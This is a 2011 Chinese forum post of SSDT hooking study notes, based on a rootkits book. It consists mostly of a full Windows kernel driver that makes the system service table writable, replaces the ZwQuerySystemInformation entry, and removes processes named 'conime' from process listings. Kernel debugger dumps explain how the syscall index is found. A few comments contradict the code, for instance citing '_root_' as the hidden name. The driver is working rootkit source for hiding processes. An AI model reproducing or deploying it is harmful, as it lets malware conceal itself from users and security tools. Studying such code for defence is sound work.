MX7188 发表于 2011-8-6 08:52:45

ssdt hook学习笔记 - rookits源码学习

刚学HOOK的来看看吧,希望有帮助。

首先推荐的一文章是 随落天才的hook inline对抗r0hook一文,里面对ssdt说得比较明白
还有参照rootkits-安全防护第四章。
然后百度extern#pragma pack(1)函数指针。等。

这里的原理是,得到ssdt表,然后根据ID号查找ssdt表里的所在的数值,这个数值是指向直正函数的地址,HOOK SSDT是替换这个数值,从而使得当调用zwquerysysteminformation这个API函数时,从ssdt查找到的地址,其实是指向新函数的地址,从而可以过滤。。。。

zwquerysysteminformation的hook原理,请参照安全防护的那个图,及百度他的用法说明。

还有interlockedexchange只改变第一个参数的值。

下面的是第四章的源码,改之。

PS:这个进程时间有用否?#include <ntddk.h>
//define struct dd !KeServiceDescriptorTable
typedef struct _SERVICE_DESCRIPTOR_TABLE {
    PULONG   ServiceTableBase;
    PULONGServiceCounterTableBase;
    ULONG   NumberOfService;
    PULONG   ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;

extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

/**********************************************************************************/
struct _SYSTEM_THREADS
{
LARGE_INTEGER         KernelTime;
LARGE_INTEGER         UserTime;
LARGE_INTEGER         CreateTime;
ULONG                           WaitTime;
PVOID                           StartAddress;
CLIENT_ID                     ClientIs;
KPRIORITY                     Priority;
KPRIORITY                     BasePriority;
ULONG                           ContextSwitchCount;
ULONG                           ThreadState;
KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
ULONG                           NextEntryDelta;
ULONG                           ThreadCount;
ULONG                           Reserved;
LARGE_INTEGER         CreateTime;
LARGE_INTEGER         UserTime;
LARGE_INTEGER         KernelTime;
UNICODE_STRING          ProcessName;
KPRIORITY                     BasePriority;
ULONG                           ProcessId;
ULONG                           InheritedFromProcessId;
ULONG                           HandleCount;
ULONG                           Reserved2;
VM_COUNTERS                     VmCounters;
IO_COUNTERS                     IoCounters; //windows 2000 only
struct _SYSTEM_THREADS          Threads;
};
// Added by Creative of rootkit.com
/*struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER          IdleTime;
LARGE_INTEGER          KernelTime;
LARGE_INTEGER          UserTime;
LARGE_INTEGER          DpcTime;
LARGE_INTEGER          InterruptTime;
ULONG            InterruptCount;
};*/
/**********************************************************************************/

/**********************************************************************************/
///////////////////////////////////////////////////////////////////////////////////////////
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
               IN ULONG SystemInformationClass,
               IN PVOID SystemInformation,
               IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);
//define function point for
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
                     ULONG SystemInformationCLass,
                     PVOID SystemInformation,
                     ULONG SystemInformationLength,
                     PULONG ReturnLength
                     );
//define function point var
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
///////////////////////////////////////////////////////////////////////////////////////////
/**********************************************************************************/


/**********************************************************************************/
PMDLpMdlSsdt;
PVOID *ppMapSystemCallTable;
/**********************************************************************************/
VOID HookUnload(IN PDRIVER_OBJECT pDriverObject);
VOID TestPrintf();
//Hook Function define
NTSTATUS HookZwQuerySystemInformation(
                   IN ULONG SystemInformationClass,
                   IN PVOID SystemInformation,
                   IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength);
/**********************************************************************************/


NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pUserviceRegPath)
{
pDriverObject->DriverUnload=HookUnload;

/**********************************************************************************/
//Map the memory into our domain so we can change the permissions on the MDL
pMdlSsdt = MmCreateMdl(NULL, KeServiceDescriptorTable->ServiceTableBase, KeServiceDescriptorTable->NumberOfService*4);
if(!pMdlSsdt)
{
    return STATUS_UNSUCCESSFUL;
}
MmBuildMdlForNonPagedPool(pMdlSsdt);
//Change the flags of the MDL
pMdlSsdt->MdlFlags = pMdlSsdt->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
    ppMapSystemCallTable = MmMapLockedPages(pMdlSsdt, KernelMode);
//MmMapLockedPages地址返回的是同ssdt的地址相同
/**********************************************************************************/
//TestPrintf();
/*
c=InterlockedExchange(&a,b)
把a与b的值交换,并返回a之前的值
OldZwQuerySystemInformation是原来函数的值,但现在ZwQuerySystemInformation这个
函数在ssdt表里的地址已变成HookZwQuerySystemInformation的地址
*/
OldZwQuerySystemInformation = (PVOID) InterlockedExchange( (PLONG) &ppMapSystemCallTable[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)], (LONG) HookZwQuerySystemInformation);
return STATUS_SUCCESS;
}

VOID HookUnload(IN PDRIVER_OBJECT pDriverObject)
{
KdPrint(("HookUnload\n"));
InterlockedExchange( (PLONG) &ppMapSystemCallTable[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)], (LONG)OldZwQuerySystemInformation);
//Unlock and Free MDL
if(pMdlSsdt)
{
    MmUnmapLockedPages(ppMapSystemCallTable, pMdlSsdt);
    IoFreeMdl(pMdlSsdt);
}
}


/**********************************************************************************/
NTSTATUS HookZwQuerySystemInformation(
                   IN ULONG SystemInformationClass,
                   IN PVOID SystemInformation,
                   IN ULONG SystemInformationLength,
                   OUT PULONG ReturnLength)
{

NTSTATUS ntStatus;

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
    SystemInformationClass,
    SystemInformation,
    SystemInformationLength,
    ReturnLength );

if( NT_SUCCESS(ntStatus))
{
    // Asking for a file and directory listing
    if(SystemInformationClass == 5)
    {
      // This is a query for the process list.
      // Look for process names that start with
      // '_root_' and filter them out.
      struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
      struct _SYSTEM_PROCESSES *prev = NULL;
      
      while(curr)
      {
      //DbgPrint("Current item is %x\n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {
          if(0 == memcmp(curr->ProcessName.Buffer, L"conime", 12))
          {            
            if(prev) // Middle or Last entry
            {
            if(curr->NextEntryDelta)
                prev->NextEntryDelta += curr->NextEntryDelta;
            else// we are last, so make prev the end
                prev->NextEntryDelta = 0;
            }
            else
            {
            if(curr->NextEntryDelta)
            {
                // we are first in the list, so move it forward
                (char *)SystemInformation += curr->NextEntryDelta;
            }
            else // we are the only process!
                SystemInformation = NULL;
            }
          }
      }

      prev = curr;
      if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
      else curr = NULL;
      }
    }
   
}
return ntStatus;
}
/**********************************************************************************/







VOID TestPrintf()
{
ULONG FunAddress,pFunAddress;

FunAddress=*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
KdPrint(("%08x\n",FunAddress));//FunAddress=ADh
pFunAddress=KeServiceDescriptorTable->ServiceTableBase;
KdPrint(("%08x\n",pFunAddress));//pFunAddress=8057e786
/*
KeServiceDescriptorTable->ServiceTableBase
这个表示KeServiceDescriptorTable中的ID为ADh里的数据,这个数据就是ZwQuerySystemInformation用sysenter指令后
在内核里的NtQuerySystemInformation函数的地址。
lkd> u 8057e786
nt!NtQuerySystemInformation:
8057e786 6810020000      push    210h
8057e78b 6830ab4e80      push    offset nt!ExTraceAllTables+0x1eb (804eab30)
8057e790 e8a64cf6ff      call    nt!_SEH_prolog (804e343b)
8057e795 33c0            xor   eax,eax
8057e797 8945e4          mov   dword ptr ,eax
8057e79a 8945dc          mov   dword ptr ,eax
8057e79d 8945fc          mov   dword ptr ,eax
8057e7a0 64a124010000    mov   eax,dword ptr fs:

KeServiceDescriptorTable
是一张表,他的起始地址是->ServiceTableBase 804e36a8这里,
8055a680804e36a8 00000000 0000011c 80513eb8
服务函数0000011c个。
804e36a8这个地址开始的就是服务函数的地址
lkd> dd 804e36a8
804e36a880580302 80579b8c 8058b7ae 805907e4
804e36b8805905fe 806377a0 80639931 8063997a
804e36c88057560b 806481cf 80636f5f 8058fb85
804e36d88062f0a4 8057be31 8058cc26 806261bd
804e36e8805dcf20 80568f9d 805d9ac1 ffaf38a0
804e36f8804e3cb4 806481bb 805ca22c 804f0e28
804e370880569649 80567d49 8058fff3 8064e1c1
804e37188058f8f5 80581225 8064e42f 8058b800
上面这些都是函数地址
80580302 80579b8c 8058b7ae 805907e4
序号为1    2         3      4
这里可以说是一个DWORD数组
所以序号为ADh的话,就直接用KeServiceDescriptorTable->ServiceTableBase得到函数地址
*/


//pFunAddress=(PULONG)ZwQuerySystemInformation;
//KdPrint(("%08x\n",pFunAddress));//804de440 函数名是一个地址,是这个函数的起始地址
/*
////////////////////////////////////////////////////////////////////////////////////////
pp=(PULONG)MessageBox;//function address = 77D5058A user32.MessageBoxA
0040B548   mov         eax, //eax=77D5058A
0040B54D   mov         dword ptr ,eax

mov eax,MessageBox ;函数名就是一个地址。call 地址
//
    add eax,2 ;地址加2   jmp+地址 =2+4 =6字节
mov eax, ;jmp 的地址
mov eax, ;地址的地址
//
mov eax,DWORD PTR
mov eax,DWORD PTR
////////////////////////////////////////////////////////////////////////////////////////
调用ZwQuerySystemInformation时进入sysenter的ID是0ADh,系统经查KeServiceDescriptorTable,
从而得到NtQuerySystemInformation函数的地址
NtQuerySystemInformation这个就是要HOOK的函数

0ADh*4+KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e36a8)=804e395c

lkd> dd !KeServiceDescriptorTable
8055a680804e36a8 00000000 0000011c 80513eb8
8055a69000000000 00000000 00000000 00000000
8055a6a000000000 00000000 00000000 00000000
8055a6b000000000 00000000 00000000 00000000
8055a6c000002730 bf80c25d 00000000 00000000
8055a6d0f971aa80 f8ff99e0 812a70f0 812a7a90
8055a6e000000000 00000000 00000000 00000000
8055a6f0b5685a40 01ca8e60 00000000 00000000
0ADh*4+KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e36a8)=804e395c

lkd> dd 804e395c
804e395c8057e786 80590ad0 80591857 805871f3
804e396c8056c103 8056d338 80570e3b 8059068f
804e397c804e303a 806477af 805710d8 805dae6c
804e398c8058f6a6 8057b545 8057dbee 80566809
804e399c8058b492 80567272 8065a3d6 8064e029
804e39ac8064e51e 8057f307 8056ae96 8056a9ae
804e39bc80622b92 8062b803 8058aa2c 80576f2a
804e39cc8062b5fc 8059d753 8053c14a 8064d042

lkd> u 8057e786
nt!NtQuerySystemInformation:
8057e786 6810020000      push    210h
8057e78b 6830ab4e80      push    offset nt!ExTraceAllTables+0x1eb (804eab30)
8057e790 e8a64cf6ff      call    nt!_SEH_prolog (804e343b)
8057e795 33c0            xor   eax,eax
8057e797 8945e4          mov   dword ptr ,eax
8057e79a 8945dc          mov   dword ptr ,eax
8057e79d 8945fc          mov   dword ptr ,eax
8057e7a0 64a124010000    mov   eax,dword ptr fs:



lkd> u ZwQuerySystemInformation
nt!ZwQuerySystemInformation:
804de440 b8ad000000      mov   eax,0ADh
804de445 8d542404      lea   edx,
804de449 9c            pushfd
804de44a 6a08            push    8
804de44c e8e0110000      call    nt!KiSystemService (804df631)
804de451 c21000          ret   10h
nt!ZwQuerySystemTime:
804de454 b8ae000000      mov   eax,0AEh
804de459 8d542404      lea   edx,
这里我们要得到的是那个进入sysenter的id,因为函数名表示的地址是指这个地址804de440
要得到0ADh这个ID号
因为b8ad000000      mov   eax,0ADh这条指令中mov的机器码是b8占一个字节,
ad000000这个占四个字节的就是这个ID。[数据存放的方式是低位放在低位,高位放在高位,
所以000000ad在内存中的存放是ad000000]
(PUCHAR)ZwQuerySystemInformation这个是把8055a680这个地址转为PUCHAR类型指针
((PUCHAR)ZwQuerySystemInformation+1)PUCHAR指针+1,移动的是一个这个类型的大小单位[这里移动一个字节,比如
PULONG+1那么这里将会移动四个字节。]所以这时地址在8055a681的地址,其实移动的那个字节就是mov的机器码,下面四个
就是这个ID号
*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);再把从8055a681开始的指针转为PULONG型地址,四位刚好是那个ID号
*/
}
页: [1]
查看完整版本: ssdt hook学习笔记 - rookits源码学习